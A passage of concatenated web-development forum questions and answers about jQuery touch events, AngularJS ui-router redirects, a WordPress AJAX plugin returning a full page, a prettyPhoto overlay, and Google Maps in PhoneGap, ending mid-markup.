data-id="1"><a href="#"> <img src="../assets/img/perfil.png" style=" width: 35%; position: absolute; left: 13px;top: 13px;" /> <ul class="menuPerfil"> <li> Luci Santodomingo </li> <li> Gerente </li> <li> Oficina Calle 123 </li> <li> Bogotá </li> </ul> </a></li> <li><a id="showmenu2" href="#" onclick="" ><p>Gestion comercial <span class="icon-forward_icon flechas"></span></p></a></li> <li><p>Cartera de clientes <span class="icon-forward_icon flechas"></span></p></li> <li><p>Oportunidades comerciales <span class="icon-forward_icon flechas"></span> </p></li> <li><p>Portal de desarrollo comercial <span class="icon-forward_icon flechas"></span> </p></li> <li><p>Portal MIS <span class="icon-forward_icon flechas"></span></p></li> <li><p>Alerta de fuga</p></li> </ul> <!-- Sidebar --> <div class="menunivel2 menunivelleft2" id="menunivel2"> <ul class="information_menunivel2"> <li class="active"> <a href="#"> <ul class="menuPerfil"> </ul> </a> </li> <li ><a id="showmenu3" href="#" onclick=""><p>Citas para hoy <span class="icon-forward_icon flechas"></span></p></a></li> <li><p>Agenda <span class="icon-forward_icon flechas"></span> </p></li> <li data-id="4"><p>Reclamos <span class="icon-forward_icon flechas"></span> </p></li> </ul> <!-- Sidebar --> <div class="menunivel3 menunivelleft3" id="menunivel3"> <ul class="information_menunivel3"> <li class="active" data-id="1"> <a href="#"> <ul class="menuPerfil"> </ul> </a> </li> <li><p>Propia</p></li> <li><p>Mis Ejecutivos </p></li> </ul> </div> </div> </div> </div> <!-- Page Content --> <div class="col-md-11 col-lg-11 contenedorderecha clearfix"> <div class="row contenedorModulos clearfix"> <h:form id="principalForm"> <ui:insert name="content"/> </h:form> </div> </div> </div> <script> //<![CDATA[ var menunivel1 = document.getElementById('menunivel1'), menunivel2 = document.getElementById('menunivel2'), menunivel3 = document.getElementById('menunivel3'); $("#showmenu1").click(function(){ classie.toggle(this, 'active'); classie.toggle(menunivel1, 'menu1open'); }); $("#showmenu2").click(function(){ classie.toggle(this, 'active'); classie.toggle(menunivel2, 'menu2open'); }); $("#showmenu3").click(function(){ classie.toggle(this, 'active'); classie.toggle(menunivel3, 'menu3open'); }); //]]> </script> </h:body> </f:view> </html> As you can see I am using xhtml, I dont know if that is related with the issue, or if is any primefaces query that is interfering with the on file jquery. I have been with this issue for more than 2 weeks, I have the webpage on a local server, for security reason I will provide you with the link by chat or email If you want to take a complete look at it. sorry, my english is not that great.
Some jquery functions in the web will not work the same way in IPAD or any other device. Try this $('selector').on('click touchstart', function() { }); $("#showmenu1").on('click touchstart', function(){ classie.toggle(this, 'active'); classie.toggle(menunivel1, 'menu1open'); });
Can not enter into dashboard page using Angular.js UI-router
I can not enter the dashboard page after login while using Angular.js. I am providing my code below. index.html: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" ng-app="ABSadmin"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>ABSClasses | Admin Panel</title> <link type="text/css" rel="stylesheet" href="css/style.css" /> <link type="text/css" rel="stylesheet" href="css/bootstrap.min.css" /> <link href='http://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,400,700,800' rel='stylesheet' type='text/css'> <script src="js/angularjs.js"></script> <script src="js/angularuirouter.js"></script> <script src="js/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/route.js"></script> </head> <body style="background:url(images/533240312.jpg)" ng-controller="loginController"> <div> <div class="logbg"> <span ng-show="validateMessage" style="color:#C0F">{{message}}</span> <h3>Login to Admin Panel</h3> <form name="frmlogin" id="frmlogin" class="login-form"> <div class="input-box input-left"> <label for="username">User Name:</label><br> <input type="text" id="username" name="username" class="required-entry input-text" ng-model="u_name" ng-keypress="clearField();"> </div> <div class="input-box input-right"> <label for="login">Password:</label><br> <input type="password" id="pwd" name="pwd" class="required-entry input-text" ng-model="u_password" ng-keypress="clearField();"> </div> <input type="button" value="Login" name="login" id="login" class="log" ng-click="adminLogin();" /> </form> </div> </div> <script src="controller/loginController.js"></script> </body> </html> The above page is my login page.When user will type localhost/admin/ this page is coming. the controller file is given below. var login=angular.module('ABSadmin',[]); login.controller('loginController',function($scope,$http,$location){ //console.log('hii'); $scope.adminLogin=function(){ if($scope.u_name==null || $scope.u_name==''){ $scope.validateMessage=true; $scope.message="Please add user name"; }else if($scope.u_password==null || $scope.u_password==''){ $scope.validateMessage=true; $scope.message="Please add Password"; }else{ $location.path('dashboard'); } } $scope.clearField=function(){ $scope.validateMessage=false; $scope.message=""; } }) After successfully login the user should get into the dashboard page which contains some menu. So here I am using ui.router to render the partial view. route.js: var Dahboard=angular.module('dasboard',['ui.router']); Dahboard.run(function($rootScope, $state) { $rootScope.$state = $state; }); Dahboard.config(function($stateProvider, $urlRouterProvider,$locationProvider) { $urlRouterProvider.otherwise('dashboard'); $stateProvider .state('dashboard', { url: '/dash', templateUrl: 'dashboardview/dashboard.html', controller: 'dashboardController' }) }) My dashboard page is given below. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" ng-app="dasboard"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>ABSClasses | Admin Panel</title> <link type="text/css" rel="stylesheet" href="css/style.css" /> <link href='http://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,400,700,800' rel='stylesheet' type='text/css'> <link rel="stylesheet" href="css/bootstrap.min.css"> <link rel="stylesheet" href="font-awesome/css/font-awesome.min.css"> <script src="/js/angularjs.js"></script> <script src="/js/angularuirouter.js"></script> <script src="/js/route.js"></script> <script src="/js/jquery.min.js"></script> <script src="/js/bootstrap.min.js"></script> </head> <body> <div class="header"> <img src="../images/absclasses-logo-black.png" alt="" /> <div style="color:#FFF; font-size:20px; vertical-align:middle; float:left; margin-top:21px;font-weight:bold; ">Admin Panel</div> <div class="header-right-pan" > <ul> <li> Logged in as Admin | </li> <li> <span class="logout" style="color:#fcce77;text-decoration: underline;" >Log Out</span> </li> </ul> </div> </div> <nav> <ul style="width:100%;"> <li> <ul> <li> <ul class="submenu"> <li> Page</li> <li> Syllabus</li> <li>Exam Info</li> </ul> </li> <li></li> </ul> </li> </ul> </nav> <div ui-view> <div class="dashbord-body"> <div> <h5> </h5> </div> <div style="height: 300px; margin: 100px auto; text-align: center;color: #0071b1; font-size: 36px;">Welcome To Admin Panel </div> </div> </div> <div class="dashbord-body-footer"> <p class="" style="margin-top: 10px; text-align:center;"> <img src="images/varien_logo.png" width="19" height="18" alt="" /> Copyright © 2015 OdiTek Solutions. <a target="_blank" href="http://www.oditeksolutions.com" > www.oditeksolutions.com</a> </p> </div> <script src="js/default.js"></script> <script src="controller/dashboardController.js"></script> </body> </html> Here after successfully login the url is coming like this localhost/admin/#/dashboard but the dashboard page is not coming still the index page is showing. Here I need after successfull login the dashboard page should come and there I will render partial html file inside ui-view.
while you are using angular-ui-router then you have to use $state.go('your_state_name'); instead of $location.path('dashboard'); here is your snippet var login=angular.module('ABSadmin',[]); login.controller('loginController',function($scope,$http,$location, $state){ $scope.adminLogin=function(){ if($scope.u_name==null || $scope.u_name==''){ $scope.validateMessage=true; $scope.message="Please add user name"; }else if($scope.u_password==null || $scope.u_password==''){ $scope.validateMessage=true; $scope.message="Please add Password"; }else{ $state.go('dashboard'); } } $scope.clearField=function(){ $scope.validateMessage=false; $scope.message=""; } })
The url for your state in stateProvider is /dash not dashboard. dashboard in this case is your state name. You'll want to tell the $location service to take you to $location.path('dash') You'll also want to change $urlRouterProvider.otherwise to point to /dash as well since the urlRouterProvider.otherwise method takes a url as a parameter $urlRouterProvider.otherwise('/dash');
PHP script returns entire webpage instead of database data
Hi I have a wordpress site and I need to get data from a database and input it in a form. I have the following code: <?php /* Plugin Name: Wordpress Plugin Stijn 1 Description: Een Wordpress plugin die data uit een database haalt en invult via Ajax in een form. Version: 1.1 Author: Stijn Aerts Author URI: http://stijnaerts.be License: GPL2 */ add_action( 'wp_footer', 'ajax_lookup_userdata' ); function ajax_lookup_userdata(){ if (!is_admin()) { wp_enqueue_script('jquery'); } ?> <script type="text/javascript"> jQuery(document).ready(function($){ alert('test'); jQuery('#input_1_2').change(function(){ showUser(this.value); }); function showUser(str){ if(str==''){ jQuery('#input_1_3').val('niets'); } jQuery.get("getuser.php", { q: str }, function(response){ jQuery('#input_1_3').val(response); }); } }); </script> <?php } ?> and the getuser.php file: <?php $q = intval($_GET['q']); $con = mysqli_connect('localhost',****,****,****); if (!$con) { die('Could not connect: ' . mysqli_error($con)); } mysqli_select_db($con,"ajax_demo"); $sql="SELECT Naam FROM Personeel WHERE personeelsNummer = '1'"; $result = mysqli_query($con,$sql); return $result mysqli_close($con); ?> When I test it I get in the text input the following output: <!DOCTYPE html> <!--[if IE 7]><html class="ie ie7" lang="nl-NL"><![endif]--> <!--[if IE 8]><html class="ie ie8" lang="nl-NL"><![endif]--> <!--[if !(IE 7) | !(IE 8) ]><!--> <html lang="nl-NL"> <!--<![endif]--> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> <title>Test pagina</title> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="http://test.stijnaerts.be/xmlrpc.php"> <!--[if lt IE 9]> <script src="http://test.stijnaerts.be/wp-content/themes/twentythirteen/js/html5.js"></script> <![endif]--> <link rel="alternate" type="application/rss+xml" title="Test pagina » Feed" href="http://test.stijnaerts.be/?feed=rss2" /> <link rel="alternate" type="application/rss+xml" title="Test pagina » reacties feed" href="http://test.stijnaerts.be/?feed=comments-rss2" /> <link rel="alternate" type="application/rss+xml" title="Test pagina » Home Reacties feed" href="http://test.stijnaerts.be/?feed=rss2&page_id=2" /> <link rel='stylesheet' id='open-sans-css' href='//fonts.googleapis.com/css?family=Open+Sans%3A300italic%2C400italic%2C600italic%2C300%2C400%2C600&subset=latin%2Clatin-ext&ver=3.9.1' type='text/css' media='all' /> <link rel='stylesheet' id='dashicons-css' href='http://test.stijnaerts.be/wp-includes/css/dashicons.min.css?ver=3.9.1' type='text/css' media='all' /> <link rel='stylesheet' id='admin-bar-css' href='http://test.stijnaerts.be/wp-includes/css/admin-bar.min.css?ver=3.9.1' type='text/css' media='all' /> <link rel='stylesheet' id='twentythirteen-fonts-css' href='//fonts.googleapis.com/css?family=Source+Sans+Pro%3A300%2C400%2C700%2C300italic%2C400italic%2C700italic%7CBitter%3A400%2C700&subset=latin%2Clatin-ext' type='text/css' media='all' /> <link rel='stylesheet' id='genericons-css' href='http://test.stijnaerts.be/wp-content/themes/twentythirteen/fonts/genericons.css?ver=2.09' type='text/css' media='all' /> <link rel='stylesheet' id='twentythirteen-style-css' href='http://test.stijnaerts.be/wp-content/themes/twentythirteen/style.css?ver=2013-07-18' type='text/css' media='all' /> <!--[if lt IE 9]><link rel='stylesheet' id='twentythirteen-ie-css' href='http://test.stijnaerts.be/wp-content/themes/twentythirteen/css/ie.css?ver=2013-07-18' type='text/css' media='all' /><![endif]--> <script type='text/javascript' src='http://test.stijnaerts.be/wp-includes/js/jquery/jquery.js?ver=1.11.0'></script> <script type='text/javascript' src='http://test.stijnaerts.be/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script> <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://test.stijnaerts.be/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://test.stijnaerts.be/wp-includes/wlwmanifest.xml" /> <link rel='next' title='Contact' href='http://test.stijnaerts.be/?page_id=33' /> <meta name="generator" content="WordPress 3.9.1" /> <link rel='canonical' href='http://test.stijnaerts.be/' /> <link rel='shortlink' href='http://test.stijnaerts.be/' /> <style type="text/css" id="twentythirteen-header-css"> .site-header { background: url(http://test.stijnaerts.be/wp-content/themes/twentythirteen/images/headers/circle.png) no-repeat scroll top; background-size: 1600px auto; } </style> <style type="text/css" media="print"> #wpadminbar { display: none; } </style> <style type="text/css" media="screen"> html { margin-top: 32px !important; } * html body { margin-top: 32px !important; } #media screen and (max-width: 782px) { html { margin-top: 46px !important; } * html body { margin-top: 46px !important; } } </style> </head> <body class="home page page-id-2 page-template-default logged-in admin-bar no-customize-support single-author"> <div id="page" class="hfeed site"> <header id="masthead" class="site-header" role="banner"> <a class="home-link" href="http://test.stijnaerts.be/" title="Test pagina" rel="home"> <h1 class="site-title">Test pagina</h1> <h2 class="site-description"></h2> </a> <div id="navbar" class="navbar"> <nav id="site-navigation" class="navigation main-navigation" role="navigation"> <h3 class="menu-toggle">Menu</h3> <a class="screen-reader-text skip-link" href="#content" title="Naar de inhoud springen">Naar de inhoud springen</a> <div class="nav-menu"> <ul> <li class="page_item page-item-33">Contact </li> <li class="page_item page-item-2 current_page_item">Home </li> <li class="page_item page-item-41">Registration </li> </ul> </div> <form role="search" method="get" class="search-form" action="http://test.stijnaerts.be/"> <label> <span class="screen-reader-text">Zoeken naar:</span> <input type="search" class="search-field" placeholder="Zoeken …" value="" name="s" title="Zoeken naar:" /> </label> <input type="submit" class="search-submit" value="Zoeken" /> </form> </nav> <!-- #site-navigation --> </div> <!-- #navbar --> </header> <!-- #masthead --> <div id="main" class="site-main"> <div id="primary" class="content-area"> <div id="content" class="site-content" role="main"> <article id="post-2" class="post-2 page type-page status-publish hentry"> <header class="entry-header"> <h1 class="entry-title">Home</h1> </header> <!-- .entry-header --> <div class="entry-content"> <p> </p> <p> </p> </div> <!-- .entry-content --> <footer class="entry-meta"> <span class="edit-link"><a class="post-edit-link" href="http://test.stijnaerts.be/wp-admin/post.php?post=2&action=edit">Bewerken</a></span> </footer> <!-- .entry-meta --> </article> <!-- #post --> <div id="comments" class="comments-area"> <div id="respond" class="comment-respond"> <h3 id="reply-title" class="comment-reply-title">Geef een reactie <small><a rel="nofollow" id="cancel-comment-reply-link" href="/getuser.php/?q=h#respond" style="display:none;">Reactie annuleren</a></small></h3> <form action="http://test.stijnaerts.be/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate> <p class="logged-in-as">Ingelogd als admin. Uitloggen? </p> <p class="comment-form-comment"> <label for="comment">Reactie</label> <textarea id="comment" name="comment" cols="45" rows="8" aria-required="true"></textarea> </p> <p class="form-allowed-tags">De volgende <abbr title="HyperText Markup Language">HTML</abbr>-tags en -attributen zijn toegestaan: <code><a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> </code> </p> <p class="form-submit"> <input name="submit" type="submit" id="submit" value="Reactie plaatsen" /> <input type='hidden' name='comment_post_ID' value='2' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /> </p> <input type="hidden" id="_wp_unfiltered_html_comment_disabled" name="_wp_unfiltered_html_comment_disabled" value="ff816f89c6" /> <script> (function() { if (window === window.parent) { document.getElementById('_wp_unfiltered_html_comment_disabled').name = '_wp_unfiltered_html_comment'; } })(); </script> </form> </div> <!-- #respond --> </div> <!-- #comments --> </div> <!-- #content --> </div> <!-- #primary --> </div> <!-- #main --> <footer id="colophon" class="site-footer" role="contentinfo"> <div id="secondary" class="sidebar-container" role="complementary"> <div class="widget-area"> <aside id="search-2" class="widget widget_search"> <form role="search" method="get" class="search-form" action="http://test.stijnaerts.be/"> <label> <span class="screen-reader-text">Zoeken naar:</span> <input type="search" class="search-field" placeholder="Zoeken …" value="" name="s" title="Zoeken naar:" /> </label> <input type="submit" class="search-submit" value="Zoeken" /> </form> </aside> </div> <!-- .widget-area --> </div> <!-- #secondary --> <div class="site-info"> Ondersteund door WordPress </div> <!-- .site-info --> </footer> <!-- #colophon --> </div> <!-- #page --> <script type="text/javascript"> jQuery(document).ready(function($) { alert('test'); jQuery('#input_1_2').change(function() { showUser(this.value); }); function showUser(str) { if (str == '') { jQuery('#input_1_3').val('niets'); } jQuery.get("getuser.php", { q: str }, function(response) { jQuery('#input_1_3').val(response); }); } }); </script> <script type='text/javascript' src='http://test.stijnaerts.be/wp-includes/js/admin-bar.min.js?ver=3.9.1'></script> <script type='text/javascript' src='http://test.stijnaerts.be/wp-includes/js/comment-reply.min.js?ver=3.9.1'></script> <script type='text/javascript' src='http://test.stijnaerts.be/wp-includes/js/masonry.min.js?ver=3.1.2'></script> <script type='text/javascript' src='http://test.stijnaerts.be/wp-includes/js/jquery/jquery.masonry.min.js?ver=3.1.2'></script> <script type='text/javascript' src='http://test.stijnaerts.be/wp-content/themes/twentythirteen/js/functions.js?ver=2014-03-18'></script> <script type="text/javascript"> (function() { var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?' + cs + '(\\s+|$)'); request = true; b[c] = b[c].replace(rcs, ' '); b[c] += (window.postMessage && request ? ' ' : ' no-') + cs; }()); </script> <div id="wpadminbar" class="nojq nojs" role="navigation"> <a class="screen-reader-shortcut" href="#wp-toolbar" tabindex="1">Spring naar de toolbar</a> <div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="Topnavigatiebalk." tabindex="0"> <ul id="wp-admin-bar-root-default" class="ab-top-menu"> <li id="wp-admin-bar-wp-logo" class="menupop"><a class="ab-item" aria-haspopup="true" href="http://test.stijnaerts.be/wp-admin/about.php" title="Over WordPress"><span class="ab-icon"></span></a> <div class="ab-sub-wrapper"> <ul id="wp-admin-bar-wp-logo-default" class="ab-submenu"> <li id="wp-admin-bar-about"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/about.php">Over WordPress</a> </li> </ul> <ul id="wp-admin-bar-wp-logo-external" class="ab-sub-secondary ab-submenu"> <li id="wp-admin-bar-wporg"><a class="ab-item" href="https://nl.wordpress.org/">WordPress.org</a> </li> <li id="wp-admin-bar-documentation"><a class="ab-item" href="http://codex.wordpress.org/">Documentatie</a> </li> <li id="wp-admin-bar-support-forums"><a class="ab-item" href="https://nl.forums.wordpress.org/">Ondersteuningsforums</a> </li> <li id="wp-admin-bar-feedback"><a class="ab-item" href="https://nl.forums.wordpress.org/">Terugkoppeling</a> </li> </ul> </div> </li> <li id="wp-admin-bar-site-name" class="menupop"><a class="ab-item" aria-haspopup="true" href="http://test.stijnaerts.be/wp-admin/">Test pagina</a> <div class="ab-sub-wrapper"> <ul id="wp-admin-bar-site-name-default" class="ab-submenu"> <li id="wp-admin-bar-dashboard"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/">Dashboard</a> </li> </ul> <ul id="wp-admin-bar-appearance" class="ab-submenu"> <li id="wp-admin-bar-themes"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/themes.php">Thema's</a> </li> <li id="wp-admin-bar-customize" class="hide-if-no-customize"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/customize.php?url=http%3A%2F%2Ftest.stijnaerts.be%2Fgetuser.php%2F%3Fq%3Dh">Aanpassen</a> </li> <li id="wp-admin-bar-widgets"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/widgets.php">Widgets</a> </li> <li id="wp-admin-bar-menus"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/nav-menus.php">Menu's</a> </li> <li id="wp-admin-bar-header"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/themes.php?page=custom-header">Header</a> </li> </ul> </div> </li> <li id="wp-admin-bar-updates"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/update-core.php" title="3 Plugins bijwerken, Vertalingsupdates"><span class="ab-icon"></span><span class="ab-label">4</span><span class="screen-reader-text">3 Plugins bijwerken, Vertalingsupdates</span></a> </li> <li id="wp-admin-bar-comments"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/edit-comments.php" title="0 reacties wachten op moderatie"><span class="ab-icon"></span><span id="ab-awaiting-mod" class="ab-label awaiting-mod pending-count count-0">0</span></a> </li> <li id="wp-admin-bar-new-content" class="menupop"><a class="ab-item" aria-haspopup="true" href="http://test.stijnaerts.be/wp-admin/post-new.php" title="Toevoegen"><span class="ab-icon"></span><span class="ab-label">Nieuw</span></a> <div class="ab-sub-wrapper"> <ul id="wp-admin-bar-new-content-default" class="ab-submenu"> <li id="wp-admin-bar-new-post"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/post-new.php">Bericht</a> </li> <li id="wp-admin-bar-new-media"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/media-new.php">Media</a> </li> <li id="wp-admin-bar-new-link"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/link-add.php">Link</a> </li> <li id="wp-admin-bar-new-page"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/post-new.php?post_type=page">Pagina</a> </li> <li id="wp-admin-bar-new-user"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/user-new.php">Gebruiker</a> </li> </ul> </div> </li> <li id="wp-admin-bar-edit"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/post.php?post=2&action=edit">Pagina bewerken</a> </li> </ul> <ul id="wp-admin-bar-top-secondary" class="ab-top-secondary ab-top-menu"> <li id="wp-admin-bar-search" class="admin-bar-search"> <div class="ab-item ab-empty-item" tabindex="-1"> <form action="http://test.stijnaerts.be/" method="get" id="adminbarsearch"> <input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" /> <input type="submit" class="adminbar-button" value="Zoeken" /> </form> </div> </li> <li id="wp-admin-bar-my-account" class="menupop with-avatar"><a class="ab-item" aria-haspopup="true" href="http://test.stijnaerts.be/wp-admin/profile.php" title="Mijn account">Hallo, admin<img alt='' src='http://1.gravatar.com/avatar/36a6b3e27a8b5a0a65cc9ce246ca0256?s=26&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D26&r=G' class='avatar avatar-26 photo' height='26' width='26' /></a> <div class="ab-sub-wrapper"> <ul id="wp-admin-bar-user-actions" class="ab-submenu"> <li id="wp-admin-bar-user-info"> <a class="ab-item" tabindex="-1" href="http://test.stijnaerts.be/wp-admin/profile.php"> <img alt='' src='http://1.gravatar.com/avatar/36a6b3e27a8b5a0a65cc9ce246ca0256?s=64&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D64&r=G' class='avatar avatar-64 photo' height='64' width='64' /><span class='display-name'>admin</span><span class='username'>stijnxk59</span> </a> </li> <li id="wp-admin-bar-edit-profile"><a class="ab-item" href="http://test.stijnaerts.be/wp-admin/profile.php">Mijn profiel wijzigen</a> </li> <li id="wp-admin-bar-logout"><a class="ab-item" href="http://test.stijnaerts.be/wp-login.php?action=logout&_wpnonce=8100200395">Uitloggen</a> </li> </ul> </div> </li> </ul> </div> <a class="screen-reader-shortcut" href="http://test.stijnaerts.be/wp-login.php?action=logout&_wpnonce=8100200395">Uitloggen</a> </div> </body> </html> This is the first time I'm doing a thing like this, especially in Wordpress and I have no clue what is causing this. I just want the script to work! Lol. Help greatly appreciated.
The first thing I would do is use a browser network inspector to verify exactly what URL is being requested by the $.get() call. Make sure the URL is correct, and load it up in it's own browser tab directly to troubleshoot the getuser.php file. My guess is that the URL is not correct and you're getting a server or WordPress 404 page, hence the HTML in your response. It's probably wisdom to use a full URL in your javascript, because pretty permalinks can cause problems with relative URLs like "getuser.php". Better yet, route your ajax request through WordPress's "admin-ajax.php" endpoint, as it's safer (those requests never get cached by plugins, etc), and use a WordPress action to respond to the request. Then, as Kevin pointed out, the getuser.php file isn't sending any information to the browser. You'll need to print or echo something to allow javascript to have a response to do anything with. The easiest thing for you to do would be get your database info in array format and then send it to the browser encoded as JSON, using json_encode( $array_of_data ). Then, your javascript code easily work with it as a simple javascript object.
using jquery to do an overlay with iframe. Won't retain css after first link
so I got jwplayer working with iframe. I also have multiple links on the same page to open different videos via iframe. When I choose the first video at the top of the page, it works really well, when I choose any other video it won't maintain any of the css. I'm using prettyphoto for the overlay, however, I did try other versions and had the same issue. Thanks! <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <META HTTP-EQUIV=Refresh CONTENT='7800; URL=index.php'> <META HTTP-EQUIV="EXPIRES" CONTENT="0" /> <!-- include the JQuery Tools --> <script src="http://cdn.jquerytools.org/1.2.7/full/jquery.tools.min.js"></script> <!--[if lt IE 7]> <script type="text/javascript" src="http://singingfromthecenter.com/js/jquery/jquery.js"></script> <script type="text/javascript" src="http://singingfromthecenter.com/js/jquery/jquery.dropdown.js"></script> <![endif]--> <!-- / END --> <link rel="stylesheet" href="http://singingfromthecenter.com/css/prettyPhoto.css" type="text/css" media="screen" title="prettyPhoto main stylesheet" charset="utf-8" /> <script src="http://singingfromthecenter.com/js/jquery.prettyPhoto.js" type="text/javascript" charset="utf-8"></script> </head> <body> <ul class="gallery clearfix"> <li>link 1 </li> </ul> <br /><br /><br /> <ul class="gallery clearfix"> <li>link 2 </li> </ul> <br /><br /><br /> <ul class="gallery clearfix"> <li>link 3 </li> </ul> <br /><br /><br /> </div> </div> <div id="close"> </div> </div> </div> <script type="text/javascript" charset="utf-8"> $(document).ready(function(){ $("area[rel^='prettyPhoto']").prettyPhoto(); $(".gallery:first a[rel^='prettyPhoto']").prettyPhoto({animation_speed:'normal',theme:'light_square',slideshow:3000, autoplay_slideshow: false}); $(".gallery:gt(0) a[rel^='prettyPhoto']").prettyPhoto({animation_speed:'fast',slideshow:10000, hideflash: true}); $("#custom_content a[rel^='prettyPhoto']:first").prettyPhoto({ custom_markup: '<div id="map_canvas" style="width:260px; height:265px"></div>', changepicturecallback: function(){ initialize(); } }); $("#custom_content a[rel^='prettyPhoto']:last").prettyPhoto({ custom_markup: '<div id="bsap_1259344" class="bsarocks bsap_d49a0984d0f377271ccbf01a33f2b6d6"></div><div id="bsap_1237859" class="bsarocks bsap_d49a0984d0f377271ccbf01a33f2b6d6" style="height:260px"></div><div id="bsap_1251710" class="bsarocks bsap_d49a0984d0f377271ccbf01a33f2b6d6"></div>', changepicturecallback: function(){ _bsap.exec(); } }); }); </script> </body> </html>
GoodMap API3 with PhoneGap
I work on application in which i need map i worked in map module and in browser it shows correct result but as it is an mobile application so i run it into emulator and the following error occues Uncaught TypeError: object is not a function at file:///android_asset/www/nav-map.html:3 my html file Nav-map.html <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-status-bar-style" content="black" /> <link rel="stylesheet" href="css/themes/default/jquery.mobile-1.3.0.css"> <script src="js/hsmain.min.js"></script> <link href="css/mobiscroll.custom-2.5.0.min.css" rel="stylesheet" type="text/css" /> <link href="photoswipe/photoswipe.css" type="text/css" rel="stylesheet" /> <script type="text/javascript" src="photoswipe/klass.min.js"></script> <script type="text/javascript" src="photoswipe/code.photoswipe.jquery-3.0.5.min.js"></script> <link rel="stylesheet" type="text/css" href="css/jqm-datebox.min.css" /> <script src="js/jqm-datebox.core.min.js"></script> <script src="js/jqm-datebox-1.1.0.mode.datebox.js"></script> <script src="js/jquery.mobile.datebox.i18n.en_US.utf8.js"></script> <script src="https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false"></script> <script type="text/javascript" charset="utf-8" src="cordova.js"></script> <script type="text/javascript" src="js/camera.js"></script> <script src="lib/work-space.js"></script> <script src="lib/config.js"></script> <script src="lib/userprofile.js"></script> <script src="lib/loginlogout.js"></script> <script src="lib/binder.js"></script> <script src="lib/newsfeed.js"></script> <script src="lib/harvestdata.js"></script> <script src="lib/members.js"></script> <script src="lib/pictures.js"></script> <script src="lib/properties.js"></script> <script src="lib/clubnewsfeeds.js"></script> <script src="lib/jsutility.js"></script> <script src="lib/weather.js"></script> <script src="lib/groups.js"></script> <script src="lib/groupnewsfeeds.js"></script> <script src="lib/companies.js"></script> <script src="lib/companynewsfeeds.js"></script> <script src="lib/map.js"></script> <script src="lib/searching.js"></script> <script src="lib/notitfications.js"></script> <link href="960/jquery-mobile-fluid960.css" rel="stylesheet" type="text/css"/> <link href="css/style.css" rel="stylesheet" type="text/css" /> <style> #map-canvas { margin: 0; padding: 0; height: 100%; } </style> </head> <body> <div data-role="page" id="ClubMapPage"> <!--header--> <script>$('#ClubMapPage').on('pageshow',function(){ UserProfile.loadProfile(); Notifications.getTopNotification(); Properties.getClubNameAndImage(); Map.getMap(); }) </script> <div id="landing-header" data-role="header" data-position="fixed" data-tap-toggle="false"> <div class="container_12 padding5"> <div class="grid_1"> <span class="inline-button floatleft">Back</span> </div> <div class="grid_10"> <div class="hs-icon-wrap"> <span class="dropdown inline-button"><a class="hs-request dropdown-toggle showRequestsBtn" data-toggle="dropdown" data-role="button" href="#messages" data-iconpos="notext" >Requests</a> </span> <span class="dropdown inline-button"><a class="hs-notification dropdown-toggle showNotificationsBtn" data-role="button" href="#" data-toggle="dropdown" data-iconpos="notext" >Notifications</a> </span> </div> </div> <div class="grid_1"> <span class="inline-button floatright">Right</span> </div> </div> </div> <!--contents--> <div data-role="content" class="hs-content"> <div class="hs-notifications-menu-contents-wrap feeds-content-header HSnotifications"> <div class="hs-notification-menu-heading"> Notifications <a title="Remove" class="removebutton hideNotificationsBtn" href="javascript://" >Remove </a> </div> <div class="hs-notifications-menu-items-wrap" > <ul class="hs-notificatin-list notificationul"> </ul> </div> <div class="hs-notification-menu-footer"> <a class="seemore" href="#" title=""> <span>See All</span> </a> </div> </div> <!-- End Of Notifications --> <div class=" hs-notifications-menu-contents-wrap feeds-content-header 